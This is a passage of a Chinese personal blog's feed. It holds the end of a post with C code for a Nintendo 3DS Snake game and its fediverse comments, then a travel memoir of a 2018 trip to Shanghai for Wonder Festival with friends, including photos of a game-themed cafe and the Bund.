&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;        const bool&lt;&#x2F;span&gt;&lt;span&gt; enoughWait &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; now &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt; reference &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; CPU_TICKS_PER_MSEC &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 100&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;enoughWait &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&amp;amp; !&lt;&#x2F;span&gt;&lt;span&gt;gameOver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            reference &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; now&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;            update&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;getNewHead&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;        &#x2F;&#x2F; every cycle, or else Home won&amp;#39;t work&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        gfxFlushBuffers&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        gfxSwapBuffers&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        gspWaitForVBlank&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    gfxExit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;details&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;3ds-snake
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;3ds-snake&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


两人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;casouri&quot;&gt;










冥王星爱丽&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;Brsu&quot;&gt;










黑糖 :splat_golden_egg:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    





    



&lt;br &#x2F;&gt;
&lt;details open replies&gt;
    &lt;summary&gt;


两条评论：&lt;&#x2F;summary&gt;
    &lt;p&gt;注：点击昵称可以查看对评论的回复。&lt;&#x2F;p&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;casouri&amp;#x2F;statuses&amp;#x2F;110814636170702330&quot;&gt;










冥王星爱丽&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                        
                        
                            
                            
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; 在3DS上用终端写贪吃蛇 &lt;img src=&#x27;https:&#x2F;&#x2F;media.monado.ren&#x2F;custom_emojis&#x2F;images&#x2F;000&#x2F;052&#x2F;403&#x2F;original&#x2F;a7315720de4d5e1d.png&#x27; style=&#x27;width:2em;transform:translateY(.2em);&#x27;
                            title=&#x27;:cdko_xiaosi:&#x27;&gt; 很有意思，辛苦了www&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;m.chariri.moe&amp;#x2F;notes&amp;#x2F;9ht1z10kcn&quot;&gt;










茶栗·chariri&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@actor@emptystack.top&lt;&#x2F;a&gt;&lt;span&gt;&lt;br&gt;非常cool的工作，原来3DS是ARM11架构啊&lt;br&gt;就是用字符画场景有点残念&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;


&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>2018上海游</title>
    <published>2023-06-28T22:53:37+01:00</published>
    <updated>2023-07-14T20:51:55+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/shanghai-2018/" type="text/html" />
    <id>https://emptystack.top/shanghai-2018/</id>
    <content type="html">
      &lt;p&gt;前天翻&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;OneDrive&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时找到两百多张&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;18&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年去上海时的照片。那年三月我得知一直在日本举办的模型展&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wonder
Festival&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;要在上海办一次分展，而且举办时间正值清明假期。我叫上好友立刻行动，去上海走了一圈。&lt;&#x2F;p&gt;
&lt;p&gt;那时我的手机拍照有些问题，所以每张照片都比较糊，还有奇异的光（某同学语：老奶奶般慈祥的光&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。请大家放心，下面的照片都是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;18&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年拍的，不是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;08&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年。&lt;&#x2F;p&gt;
&lt;style&gt;
.c256-81 {
    grid-template-columns: 256fr 81fr;
}
.c81-256 {
    grid-template-columns: 81fr 256fr;
}
&lt;&#x2F;style&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;shanghai-2018&#x2F;#2018-04-05&quot;&gt;2018-04-05&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;shanghai-2018&#x2F;#2018-04-06_WF前&quot;&gt;2018-04-06 WF前&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;shanghai-2018&#x2F;#Wonder_Festival&quot;&gt;Wonder Festival&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;shanghai-2018&#x2F;#2018-04-06_WF后&quot;&gt;2018-04-06 WF后&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;shanghai-2018&#x2F;#2018-04-07&quot;&gt;2018-04-07&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;shanghai-2018&#x2F;#后记&quot;&gt;后记&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2018-04-05&quot;&gt;2018-04-05&lt;&#x2F;h2&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;我记得当时说北京到上海马上要开通全程&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个小时的超级快铁路。可惜了，我们那次坐的还是旧一些的普通高铁（不确定这视频是去程还是返程&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。午饭是在上海某个火车站吃的汉堡王——我那时不喜欢汉堡王，到现在也不喜欢。但是我记得有一段时间它有用整块牛肉，而不是碎牛肉饼做的汉堡（当时还送忍者神龟玩具&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。我很喜欢那个能看出牛肉自然纹理的汉堡。说起牛肉的纹理，我记得小时候吃老爸食堂的炖牛肉经常会看到绿色的反光，后来就很少见到了。&lt;&#x2F;p&gt;
&lt;video controls preload=&quot;metadata&quot; style=&quot;width:100%&quot;&gt;
    &lt;source src=&quot;&#x2F;assets&#x2F;wx_camera_1522897773530-scaled.mp4&quot; type=&quot;video&#x2F;mp4&quot;&gt;
    你的浏览器不支持嵌入视频，但你可以&lt;a href=&quot;&#x2F;assets&#x2F;wx_camera_1522897773530-scaled.mp4&quot;&gt;下载&lt;&#x2F;a&gt;下来看。
    视频内容：某趟火车上的风光
&lt;&#x2F;video&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;牛肉的事先放下。我背着包，同学&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;拎着大空箱，同学&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;拖着小箱子，一起挤在地铁里。后来好像又导了次出租车，司机是个精神老头，嘴很碎，听起来是本地人（当然，我们也听不出到底是哪里的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。他的口音让我们仨想起生物老师（还有初中的数学老师，但&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;初中和我、S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不是一班的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，所以挺喜欢他的。等到了旅店、办好入住、放下行李，我们就向着同学&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;想去的《少女前线》主题咖啡馆出发了。&lt;&#x2F;p&gt;
&lt;p&gt;S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;还提议去&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;B&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;站总部看看，我和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;回绝了。后来看&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VTuber&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时发现好多&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;V&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;喜欢去&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;B&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;站打卡，这是为什么呢？&lt;&#x2F;p&gt;
&lt;p&gt;我记得那晚在黄浦江边遇上了大雨，鞋子袜子都湿透了。从这张&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;16:33&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的图片来看，那天下午就下起了小雨。为了方便各位带入，这两位若是打起架来能赢的叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S，会输的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180405_163354-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180405_163354-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;上海那时给我的感受是好多绿地。后来在逛家旁边的公园时醒悟了：北京绿地也不少，觉得上海绿地多是因为那天走太远了。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180405_164351-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180405_164351-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180405_172309-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180405_172309-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180405_172452-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180405_172452-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;跟着导航拐来拐去、绕来绕去，总算找着咖啡馆了。我记得那是一个方形的广场，中间有几栋方形的三层小楼，小楼之间就是横平竖直的井字形网格道路。我们走进一扇小门，里面是极度狭小的门厅，在那里我得知这栋楼每层都是和一个手游联动的咖啡厅。同学&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;玩的是《少女前线&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，所以我们顺着楼梯上了三楼。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180405_181805-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180405_181805-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我一没玩过《少女前线&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，二不喜欢喝咖啡，所以进去以后真不知道该点什么。还好，菜单上的选项也不多（也没咖啡&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。我点了烤香肠的主菜，忘了什么饮品——我记得是颜色很鲜亮的汽水——没错，一定不是咖啡。香肠上来以后我和同学&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都大惊失色：这也太小了吧！&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;点的好像也是香肠）从消费记录来看，我吃了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;96&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;块。通货膨胀真是快啊，现在这点钱已经不算事了。&lt;&#x2F;p&gt;
&lt;p&gt;店里布置了一些手游角色的看板——我虽然不玩，但来了就得照，不然光吃那小细肠真是亏大了。Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;坐我对面，他也不玩，看我非要把他和看板照在一起，对我表示了反对。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180405_174303-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180405_174303-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180405_174309-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180405_174309-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;忘了是点菜时、等菜时还是上菜时，有个自来熟妹妹跟我们聊天。因为这张桌子只有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一位玩家，所以自然，他成了我们用默契推选出的外交官。原来这位妹妹也不玩《少女前线&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，她玩的是一块叫《嘣嘣嘣》的游戏（在二楼联动&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。今天在三楼打工，是因为三楼的人手不够。&lt;&#x2F;p&gt;
&lt;p&gt;妹妹给了我们好多印着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Q&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版角色的杯垫，我指着我的杯垫问&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;这是哪把枪（那个游戏里的角色都是枪械拟人&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;被问住了，原来他也好久没玩，记不得谁是谁了。&lt;&#x2F;p&gt;
&lt;p&gt;下楼前参观了下楼梯口装有游戏相关物品的玻璃橱柜。给我留下深刻印象的是有一只很长的白色老鼠毛绒玩具。S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;告诉我说那个白老鼠是某个角色的宠物。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180405_183033-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180405_183033-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180405_190930-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180405_190930-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180405_214602-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180405_214602-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;天很快黑了。当时还在流行共享单车，所以我们走了一段以后开始尝试骑车去外滩（或回旅馆&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。然后发现上海这地方，一会有自行车道一会又没有的，骑行体验比北京差远了。&lt;&#x2F;p&gt;
&lt;p&gt;外滩感觉一般，看了没一会就下起了大雨。最后费了老劲打到一辆出租车。看着窗外飞过的店铺，我们在猜哪家是卖游戏的。&lt;&#x2F;p&gt;
&lt;p&gt;旅馆内，S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;提出要不要买点啤酒喝喝。Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和我没有这个爱好，但也很好奇他要喝什么。我们仨找了家超市，买了一罐朝日分着喝了。别说，这个干爽的口感还真得劲：我和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都喜欢上了。后来我俩去日本还费了一番功夫找能卖给我们朝日的地方来着（当时我们在日本年龄不够&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。时间再往后，我在英国也专门买过朝日（虽然是意大利产的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;夜晚，在面向旅馆天井的走廊上，Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;跟我吹爆了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;iPhone
7&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;使劲按屏幕和轻轻点屏幕的效果不一样。此人原先是索尼的信徒，18&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年之后的某一年又开始用华为了。前些天苹果推出尿袋眼镜之后还在群里嘲讽顶礼膜拜的粉丝来着。&lt;&#x2F;p&gt;
&lt;p&gt;以上几件事都确实在这趟旅行的夜晚发生过，但不一定是哪个夜晚。写在这里，因为大概率是这个夜晚。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2018-04-06_WF前&quot;&gt;2018-04-06 WF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;前&lt;&#x2F;h2&gt;
&lt;p&gt;临行前，我在旅馆旁的市场买了几双袜子（脚上的还没干&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。旅行时我喜欢走轻量化路线，但因为没怎么出过远门，那趟竟然没带多余的袜子。实在是让朋友见笑了。&lt;&#x2F;p&gt;
&lt;p&gt;早上吃的是生煎和某种很稀的汤。店是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;或者&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;找的，我出门纯粹就带了张嘴。我们学校有高三家长每晚轮流给全班买零食的传统。我就是那时喜欢上生煎的。唉，又馋了。&lt;&#x2F;p&gt;
&lt;p&gt;上午去了世博会区域。我记得在世博馆排队时后面有人说：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;还不如我们沈阳体育馆（大）呢&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;p&gt;写这篇博文时我问&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;他带我们吃的饭店是什么。他说忘了，就记得沈阳体育馆了。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_104919-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_104919-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
